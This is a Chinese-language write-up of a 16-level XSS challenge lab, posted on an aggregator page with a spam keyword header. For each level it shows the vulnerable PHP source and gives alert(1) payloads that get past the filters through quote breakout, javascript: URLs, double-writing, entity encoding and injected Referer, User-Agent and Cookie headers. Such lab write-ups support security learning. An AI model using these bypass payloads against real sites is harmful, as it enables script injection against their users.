日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XSS挑战赛--Writeup(共16题)

發布時間:2023/12/31 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XSS挑战赛--Writeup(共16题) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

XSS挑戰賽--Writeup(共16題)

Level-1
Level-2
Level-3
Level-4
Level-5
Level-6
Level-7
Level-8
Level-9
Level-10
Level-11
Level-12
Level-13
Level-14
Level-15
Level-16

Level-1

源碼:

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level2.php?keyword=test"; } </script> <title>歡迎來到level1</title> </head> <body> <h1 align=center>歡迎來到level1</h1> <?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>歡迎用戶".$str."</h2>"; ?> <center><img src=level1.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>

第一題就不多說了哈,直接在url后面接上,過關第一題。

<script>alert(1)</script>


注:()中數字不需要加引號,字符串需要加引號


Level-2

源碼:

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level3.php?writing=wait"; } </script> <title>歡迎來到level2</title> </head> <body> <h1 align=center>歡迎來到level2</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?> <center><img src=level2.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>
解題思路:

首先我們直接輸入js代碼,看看會發生什么,使用開發者工具輔助查看

我們在審查元素中看到我們的js代碼被輸入到value的引號之中,無法執行,因此,我們需要閉合單引號與尖括號

Payload:
"><script>alert(1)</script><" 或者 " οnmοuseοver=alert(1)<"

Level-3

源碼:

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level4.php?keyword=try harder!"; } </script> <title>歡迎來到level3</title> </head> <body> <h1 align=center>歡迎來到level3</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?> <center><img src=level3.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>
解題思路:

我們從源碼觀察得知,這里使用了htmlspecialchars函數
把預定義的字符轉換為 了HTML 實體

預定義的字符是:& (和號)成為 & " (雙引號)成為 " ' (單引號)成為 ' < (小于)成為 < > (大于)成為 > htmlspecial函數的默認配置不過濾單引號

用來構造的主要語句

value='".htmlspecialchars($str)."'

所以前面所使用的">就會無效,我們這里就閉合’(因為htmlspecial函數的默認配置是不過濾單引號的,所以這里可以利用單引號閉合)

Payload:
' οnmοuseοver=alert(1)空格 為了直觀,這里的空格是漢字,利用時是鍵盤上的空格。如果不加空格,它會認為'是onmouseover后面值的一部分,輸入其他字符也一樣,它只會認為這是值的一部分,所以會影響alert(1)這個命令 ' οnmοuseοver=alert(1) '這個和上面的原理是一樣的,就是加了個單引號閉合后面的單引號而已 或者 ' οnmοuseοver='alert(1) 和最后面的'>閉合 或者 ' οnmοuseοver='alert(1)' 自己閉合后,因為已經固定值就是alert(1),所以后面多出的'沒有影響 或者 ' οnmοuseοver=alert(1)// 這里的//是js里的注釋,因為alert是js代碼所以//可以注釋后面的'> 等等...

注:onmouseover后面的值的引號要么兩邊都有,沒有就兩邊都沒有


Level-4

源碼:

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level5.php?keyword=find a way out!"; } </script> <title>歡迎來到level4</title> </head> <body> <h1 align=center>歡迎來到level4</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level4.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>"; ?> </body> </html>
分析:
由源碼可知,這里將接收到的值中的<與>符號進行了過濾,替換為空,但這里沒有對value的值使用htmlspecialchars,所以僅僅是<與>不可用
解題思路:
我們可以不使用<與>進行繞過
Payload:
" οnmοuseοver=alert(1)空格 " οnmοuseοver=alert(1) " 或者 " οnmοuseοver="alert(1) 或者 " οnmοuseοver="alert(1)" 或者 " οnmοuseοver=alert(1)// 或者 " οnfοcus=alert(1) autofocus=" 構造一個輸入到文本框后出現相應的事件 等等...

Level-5

源碼:

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level6.php?keyword=break it out!"; } </script> <title>歡迎來到level5</title> </head> <body> <h1 align=center>歡迎來到level5</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level5.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>"; ?> </body> </html>
分析:

源碼使用了strtolower函數將,所有字符轉為小寫;使用str_replace函數,將接收到的值中的<script>替換為<scr_ipt>,on替換為o_n

解題思路:

這次過濾了<script>與on,不能使用js事件了。但沒有過濾<與>,因此我們可以使用偽協議來構造

Payload:
"><iframe src=javascript:alert(1)> 這個執行后會無法跳出進入下一關的頁面 或者 "><a href=javascript:alert(1)> 或者 "> <a href="javascript:alert(1)">1stPeak</a> 或者 "> <a href="javascript:%61lert(1)">1stPeak</a>// 這里的%61是url編碼后的a 等等...

Level-6

源碼:

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level7.php?keyword=move up!"; } </script> <title>歡迎來到level6</title> </head> <body> <h1 align=center>歡迎來到level6</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level6.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str6)."</h3>"; ?> </body> </html>
分析:

這里過濾了<script>、on、src、data、href

解題思路:

但是并沒有對<與>進行過濾,并且沒有大小寫的過濾,所以,將上一題的Payload稍加修改,嘿嘿嘿

Payload:
"><iframe SRC=javascript:alert(1)> 這個執行后會無法跳出進入下一關的頁面 或者 "><a Href=javascript:alert(1)> 或者 "> <a HRef="javascript:alert(1)">1stPeak</a> 或者 "> <a HREF="javascript:%61lert(1)">1stPeak</a>// 等等...

Level-7

源碼:

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level8.php?keyword=nice try!"; } </script> <title>歡迎來到level7</title> </head> <body> <h1 align=center>歡迎來到level7</h1> <?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level7.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str6)."</h3>"; ?> </body> </html>
分析:

源碼在level-6的基礎上,增加了strtolower函數,接收的值全都轉為小寫再進行檢查過濾

解題思路:

我們還是可以用<與>,于是我們嘗試雙寫繞過

Payload:
"><sscriptcript>alert(1)</scrscriptipt> 或者 " oonnmouseover=alert(1)空格 " oonnmouseover=alert(1) " 或者 "><a hrhrefef=javascriscriptpt:alert(1)>1stPeak</a> 等等...

Level-8

源碼:

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level9.php?keyword=not bad!"; } </script> <title>歡迎來到level8</title> </head> <body> <h1 align=center>歡迎來到level8</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6); echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情鏈接 /> </form> </center>'; ?> <?phpecho '<center><BR><a href="'.$str7.'">友情鏈接</a></center>'; ?> <center><img src=level8.jpg></center> <?php echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>"; ?> </body> </html>
分析:

這里在Level-7的基礎上,將原本script、on、src、data、href、"替換為空的值分別改為替換成scr_ipt、o_n、sr_c、da_ta、hr_ef、&quot,所以,我們無法使用雙寫繞過了

解題思路:

我們仔細看看源碼,發現輸出點在a標簽內,href屬性中。雖然htmlspecialchars函數在value的值中,但我們用不到input屬性,雖然源碼替換了很多字符,但時<,>,單引號,% ,# ,& 符號沒有被過濾
javascript會被替換成javasc_rpt,我們可以使用&#x72來代替r ,HTML字符實體轉換:https://www.qqxiuzi.cn/bianma/zifushiti.php

Payload:
javasc&#x72;ipt:alert(1) 或者 javascrip&#x74;:alert(1) 等等...

Level-9

源碼:

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level10.php?keyword=well done!"; } </script> <title>歡迎來到level9</title> </head> <body> <h1 align=center>歡迎來到level9</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情鏈接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) {echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';} else {echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>'; } ?> <center><img src=level9.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>"; ?> </body> </html>
分析:

這一級別的源代碼在Level-8的基礎上,增加了false===strpos($str7,‘http://’),用來過濾沒有http://字符的url

解題思路:

這里我們可以通過//注釋來進行繞過

Payload:
javasc&#x72;ipt:alert(1)//http://www.1stpeak.com 利用注釋// javascrip&#x74;:alert(1)//http://www.1stPeak.cn 或者 javascrip&#x74;:http://1stpeak.com%0dalert(1) 不利用注釋//,其中的%0d是回車

Level-10

源碼:

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level11.php?keyword=good job!"; } </script> <title>歡迎來到level10</title> </head> <body> <h1 align=center>歡迎來到level10</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level10.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>
分析:

從源碼發現需要兩個參數,一個是keyword,一個是t_sort,<與>都被轉換成空,還有三個hidden的隱藏輸入框,所以我們可以從隱藏的輸入框入手,構造Payload

Payload:
keyword=1st&t_sort="type="text" οnclick="alert(1)" 帶入源碼構造結果:<input name="t_sort" value=""type="text" οnclick="alert(1)"" type="hidden"> 或者 keyword=1&t_sort="type="text" οnclick=alert(1) " 帶入源碼構造結果:<input name="t_sort" value=""type="text" οnclick="alert(1)" type="hidden"> 或者 keyword=1st&t_sort="type="text" οnmοuseοver="alert(1)" 帶入源碼構造結果:<input name="t_sort" value=""type="text" οnmοuseοver="alert(1)" " type="hidden"> 等等...

Level-11

源碼:

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level12.php?keyword=good job!"; } </script> <title>歡迎來到level11</title> </head> <body> <h1 align=center>歡迎來到level11</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level11.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>
分析:

這里比Level-11上多了$str11=$_SERVER['HTTP_REFERER'],這里我們需要進行對http請求頭進行xss注入所以我們利用burp進行構造Payload,同時注意,http請求頭注入時<與>也是會被過濾的。
Payload:

在http請求頭中添加如下payload Referer: " οnmοuseοver=alert(1) type="text"
構造原理:

構造圖:

結果圖:


還可以使用其它http請求頭的xss注入代碼

Referer: " οnclick=alert(1) type="text" 或者 Referer: " οnclick="alert(1)" type="text" 等等... 原理都是一樣的

Level-12

源碼:

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level13.php?keyword=good job!"; } </script> <title>歡迎來到level12</title> </head> <body> <h1 align=center>歡迎來到level12</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ua" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level12.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>
分析:

這一關和Level-11關原理一樣,只不過這里是$str11=$_SERVER['HTTP_USER_AGENT'];,所以我們抓包修改user-agent進行xss注入

Payload:
User-Agent: " οnclick=alert(1) type="text" 或者 User-Agent: " οnclick="alert(1)" type="text"
第一個Payload演示圖:


Level-13

源碼:

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level14.php"; } </script> <title>歡迎來到level13</title> </head> <body> <h1 align=center>歡迎來到level13</h1> <?php setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level13.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>
分析:

這個和level-11和level-12原理一樣,修改一下cookie的值就好

Payload:
Cookie: user=" οnclick=alert(1) type="text"; SESSIONID=519523290; PHPSESSID=1mqhmsa56pdk0unn25fa8l6ana 或者 Cookie: user=" οnclick="alert(1)" type="text"; SESSIONID=519523290; PHPSESSID=1mqhmsa56pdk0unn25fa8l6ana
第一個Payload演示圖:


Level-14

源碼:

<html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>歡迎來到level14</title> </head> <body> <h1 align=center>歡迎來到level14</h1> <center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>這關成功后不會自動跳轉。成功者<a href=/xsschallenge/level15.php?src=1.gif>點我進level15</a></center> </body> </html>
分析:

還分析個啥子…


Level-15

源碼:

<html ng-app> <head><meta charset="utf-8"><script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level16.php?keyword=test"; } </script> <title>歡迎來到level15</title> </head> <h1 align=center>歡迎來到第15關,自己想個辦法走出去吧!</h1> <p align=center><img src=level15.png></p> <?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>
分析:

你們自己想辦法走出去吧,哈哈哈
emmm,有會的朋友,請評論告知一下~


Level-16

源碼:

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level17.php?arg01=a&arg02=b"; } </script> <title>歡迎來到level16</title> </head> <body> <h1 align=center>歡迎來到level16</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","&nbsp;",$str); $str3=str_replace(" ","&nbsp;",$str2); $str4=str_replace("/","&nbsp;",$str3); $str5=str_replace(" ","&nbsp;",$str4); echo "<center>".$str5."</center>"; ?> <center><img src=level16.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str5)."</h3>"; ?> </body> </html>
分析:

這里使用了大小寫guolv,將script、空格、/替換為&nbsp
在html代碼中&nbsp和空格的區別:
在html代碼中每輸入一個轉義字符&nbsp就表示一個空格,輸入9個&nbsp,頁面中就顯示9個空格位置
而在html代碼中輸入空格,不管輸入多少個空格,最終在頁面中顯示的空格位置只有一個
例如:hmtl代碼中,在兩個字之間輸入9個空格與輸入9個轉義字符&nbsp的效果對比圖

<html> <p></p>html中使用普通空格舉例:開始 結束</p> <p>html中使用&nbsp舉例:開始&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp結束</p> </html>
效果圖:

解題思路:

源碼沒有過濾<與>,我們可以使用其它標簽配合%0d,%0a等url編碼繞過:
%0d表示回車符號
%0a表示換行符號

Payload:
<img%0dsrc=1%0dοnerrοr=alert(1)> 或者 <iframe%0asrc=www.buzhidao.com%0dοnmοuseοver=alert(1)></iframe> 或者 <svg%0aοnlοad=alert(1)></svg> 等等...

總結

以上是生活随笔為你收集整理的XSS挑战赛--Writeup(共16题)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。